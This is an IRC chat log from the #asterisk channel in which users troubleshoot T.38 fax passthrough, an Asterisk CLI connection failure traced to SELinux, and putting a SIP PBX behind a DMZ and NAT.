| 22:30.24 | *** join/#asterisk catphish_ (~charlie@2001:9d8:2005:2::3) |
| 22:31.34 | catphish_ | is anything required in 1.8 to make t38 passthrough (sip to sip) work? so far all i've done is added t38pt_udptl=yes t38pt_rtp=yes t38pt_tcp=yes to sip.conf [global] |
| 22:37.58 | *** join/#asterisk nny (~SM@cpe-174-107-223-014.sc.res.rr.com) |
| 22:38.44 | nny | getting Unable to connect to remote asterisk (does /var/run/asterisk/asterisk.ctl exist?) when it does in fact exist. Asterisk is running as root (changing that next) new compile. Any advice? |
| 22:39.11 | nny | asterisk is running, messages shows no errors pertinent to the issue afaik |
| 22:43.33 | navaismo | the error appear when you run asterisk -r? |
| 22:44.18 | nny | navaismo: yes, asterisk starts with -vvvvvvv. I am using centos 6, i am not sure but I think this is init script related oddly |
| 22:44.40 | navaismo | try with asterisk -vvvvvvvr |
| 22:44.41 | nny | navaismo: when i do /etc/init.d/asterisk start, i don't get the OK feedback from the init script |
| 22:44.45 | navaismo | include the r |
| 22:45.03 | nny | but ps -aux |grep asterisk shows it running and stop works |
| 22:45.03 | nny | ok |
| 22:45.29 | nny | navaismo: same |
| 22:45.45 | nny | http://pastebin.com/bz4thxMb |
| 22:45.55 | navaismo | service asterisk stop, then service asterisk start |
| 22:46.28 | navaismo | your user is root? |
| 22:46.36 | *** join/#asterisk joobie (~joobie@unaffiliated/moo0o0ooo00o0o0o) |
| 22:46.43 | nny | i didn't run make samples. wonder if thats part of the issue |
| 22:46.43 | nny | http://pastebin.com/Cjd2X1hB |
| 22:46.55 | nny | i changed the init script to run as asterisk, but it didn't work in either case |
| 22:47.04 | navaismo | ok stop it |
| 22:47.15 | nny | k done |
| 22:47.17 | navaismo | and now try with asterisk -vvvvvvcg |
| 22:47.27 | navaismo | and pastebin the output |
| 22:48.50 | nny | http://pastebin.com/tj3MciWd |
| 22:49.31 | *** join/#asterisk jayson_r (~jayson@cpe-071-076-046-081.sc.res.rr.com) |
| 22:49.38 | tzanger | does Asterisk have a way to get periodic RTP stream statistics out of it? I know of ${RTPAUDIOQOS} but I was looking for stats say every 15s or so emitted somewhere I could pick them up |
| 22:49.44 | nny | navaismo: http://pastebin.com/tj3MciWd |
| 22:49.56 | navaismo | yeah im looking in it |
| 22:50.11 | *** join/#asterisk nighty^ (~nighty@69-165-220-105.dsl.teksavvy.com) |
| 22:50.24 | nny | navaismo: fwiw it had CLI> at the end, meaning it started normally |
| 22:50.26 | tzanger | also, how happily does asterisk handle reinvites in the middle of a call (say to route the traffic to another provider which is able to accept the in-progress call) |
| 22:50.27 | nny | well started that is |
| 22:50.59 | navaismo | nny the /etc/asterisk is empty? |
| 22:51.08 | nny | no |
| 22:51.30 | nny | navaismo: http://pastebin.com/8N5NNNq1 |
| 22:51.59 | navaismo | ok, core stop now to exit the cli |
| 22:52.03 | navaismo | and again |
| 22:52.05 | nny | mind you that's some garbage sample files I need to prune, but extensions.conf and sip.conf are current |
| 22:52.20 | nny | <PROTECTED> |
| 22:52.30 | navaismo | service asterisk start again, with the original script |
| 22:52.52 | navaismo | -c Provide a control console on the calling terminal. Specifying this option implies -f and will cause asterisk to no longer fork or detach from the controlling terminal |
| 22:53.04 | navaismo | Remove resource limit on core size, thus forcing Asterisk to dump core in the unlikely event of a segmentation fault or abort signal. |
| 22:53.15 | navaismo | the last line for -g |
| 22:53.38 | nny | navaismo: ok start, same output (no [OK]) and asterisk -r doesn't return console |
| 22:53.55 | nny | hmm |
| 22:54.00 | nny | this time asterisk.ctl is missing |
| 22:54.08 | nny | one sec |
| 22:55.14 | nny | yeah ctl is missing now, even though asterisk is running as root. Wonder if this is selinux related |
| 22:55.28 | navaismo | its disabled? |
| 22:55.40 | navaismo | waht show /var/log/messages |
| 22:57.22 | nny | nothing special |
| 22:57.27 | nny | restarting with selinux in permissive one sec |
| 22:58.32 | nny | ha |
| 22:58.33 | nny | that was it |
| 22:58.40 | nny | :S |
| 22:59.03 | nny | on restart all good, everytime I think I am doing something wrong by disabling selinux, it makes me want to disable it |
| 22:59.21 | navaismo | i always disable it |
| 22:59.26 | *** join/#asterisk jayson_r (~jayson@cpe-071-076-046-081.sc.res.rr.com) |
| 22:59.27 | nny | have to run to the store and get food for my cat before it eats an appendage thanks navaismo |
| 22:59.33 | navaismo | but in my case its only a pbx machine |
| 22:59.34 | nny | navaismo: yeah, sigh, same haha |
| 22:59.44 | nny | navaismo: thanks again |
| 22:59.46 | navaismo | np |
| 23:01.58 | catphish_ | what does "Remotely bridging" mean? |
| 23:02.17 | catphish_ | i am having trouble with a t38 bridged fax |
| 23:02.39 | catphish_ | i have directmedia=no on all sip peers but still getting Remotely bridging X and Y |
| 23:06.33 | *** join/#asterisk paulc (~paulc@unaffiliated/paulc) |
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| 23:08.38 | *** part/#asterisk talntid (talntid@c-98-225-8-150.hsd1.wa.comcast.net) |
| 23:10.41 | catphish_ | looks like t38 is always reinvited :( |
| 23:25.08 | *** join/#asterisk ferdna (~yup@cpe-67-10-220-35.elp.res.rr.com) |
| 23:27.23 | catphish_ | i'd appreciate if anyone could explain the process of t38 passthrough (sip to sip) to me in terms of where the media stream travels |
| 23:31.22 | tzanger | hm. I knwo the term "sip trunk" is wrong to describe a route/provider for a call to take to get to its destination... what would a better term be? I have 3 providers, any of which are fine for sending calls to the same destination? |
| 23:37.11 | *** join/#asterisk DrDigital (~mmurphy@gallery/DrDigital) |
| 23:38.51 | catphish_ | it's easier just to call them peers |
| 23:39.26 | WIMPy | Or ITSPs |
| 23:41.56 | *** join/#asterisk dre (dre@gateway/shell/xzibition.com/x-aagulhyylwfnqgjb) |
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| 23:45.40 | p3nguin | In that context, route is a good term. |
| 23:49.45 | nny | I have someone trying to put their pbx in a DMZ behind a sonicwall and my guts says this is just as bad as any other NAT scenario. any network geeks have an opinion on that? |
| 23:50.21 | navaismo | im not a geek but yeah dont use dmz only forward the necessary ports |
| 23:51.08 | navaismo | now time to go see you |
| 23:51.41 | nny | yeah i am trying to get them to just do a publicly routed interface, either way I don't see this working. I just tested and had no audio stream, but I suspect they didn't handle the port mapping for rtp |
| 23:51.56 | p3nguin | DMZ should not be used until you know what DMZ does and how it works. |
| 23:52.02 | ChannelZ | yeah forward 5060 and a small range of RTP ports as specified in rtp.conf |
| 23:52.35 | nny | p3nguin: afaik DMZ in this scenario is literally as it's described, a second network not physically connected to the main local network |
| 23:53.00 | nny | yeah asked him to forward the rtp ports, but my experience has been NAT (or DMZ NAT) to NAT is bad mmk |
| 23:53.13 | p3nguin | Does the local network need access to asterisk? Does the internet need access to ALL of asterisk? |
| 23:53.46 | nny | p3nguin: yes and well, yes |
| 23:53.55 | nny | p3nguin: local as in local phones, internet for remote extensions |
| 23:54.19 | nny | by ALL I assume you mean RTP/SIP not asterisk manager etc |
| 23:54.28 | p3nguin | I mean everything. |
| 23:54.40 | nny | no, just SIP auth and RTP |
| 23:54.51 | p3nguin | Putting a system in the DMZ generally makes it completely available to the internet. |
| 23:54.55 | nny | i.e. 5060,10000-20000 or smaller |
| 23:55.37 | p3nguin | and it limits access from the LAN. |
| 23:55.48 | p3nguin | Not ideal, usually. |
| 23:56.22 | nny | p3nguin: actually oddly not in this case. It seems the sonicwall still requires port allocation to the subnet, example is right now I can't access any non iptables filtered ports on the box, even though it is supposedly in the DMZ. They have multiple machines in the DMZ, so I assume this is as planned. I know the definition is "unsolocited traffic" but when you have multiple mahcines in the DMZ subnet that seems to skew things compared to home |
| 23:56.35 | nny | p3nguin: and there's 2 interfaces on the box, one is on the LAN subnet |
| 23:57.14 | p3nguin | It depends on the DMZ implementation. |
| 23:57.14 | nny | ideally the word DMZ and NAT would be avoided. AFAIK you can't NAT -> NAT (i.e. asterisk -> NAT <_> NAT -> phone |
| 23:57.25 | p3nguin | I do that. |
| 23:57.26 | p3nguin | no problem. |
| 23:57.27 | nny | p3nguin: indeed, i dunno, sonicwall isn't my flavor honestly |
| 23:57.53 | nny | p3nguin: my information may be based on older tests, let me check on dfender's nice blog entry again |
| 23:57.54 | p3nguin | I have phones behind one NAT, and asterisk across the internet behind another NAT. |
| 23:57.56 | nny | ~sipnat |
| 23:57.56 | infobot | [~sipnat] Quick guide on configuring Asterisk + SIP behind NAT: http://www.aocomputing.net/?p=3 otherwise check the WIKI at http://www.voip-info.org/wiki/view/Asterisk+SIP+NAT+solutions . Typically, you MUST configure these settings with appropriate values in the [general] section of sip.conf: nat, canreinvite, externhost or externip, and localnet. |
| 23:58.25 | nny | p3nguin: interesting, i'll try it. Right now it blatantly seems like RTP isn't allocated (in spite it being in a "DMZ") so i'll test that first, thanks |
| 23:59.03 | p3nguin | If it's a decent DMZ implementation, it may still require ports to be forwarded and DMZ is still behind a NAT. |
| 23:59.04 | nny | p3nguin: i have externip defined and the local subnet, so it should work without much else |
| 23:59.08 | nny | p3nguin: yeah |
| 23:59.30 | nny | p3nguin: what I figured. Normally you see DMZ it's a linksys router and it literally just throws all non solicited traffic at the interface on the machine |
| 23:59.52 | p3nguin | and there's no separation from the rest of the LAN in that case. |
| 23:59.57 | nny | well not literally.. heh. Anyways |
| 23:59.59 | p3nguin | Making it not really a DMZ at all. |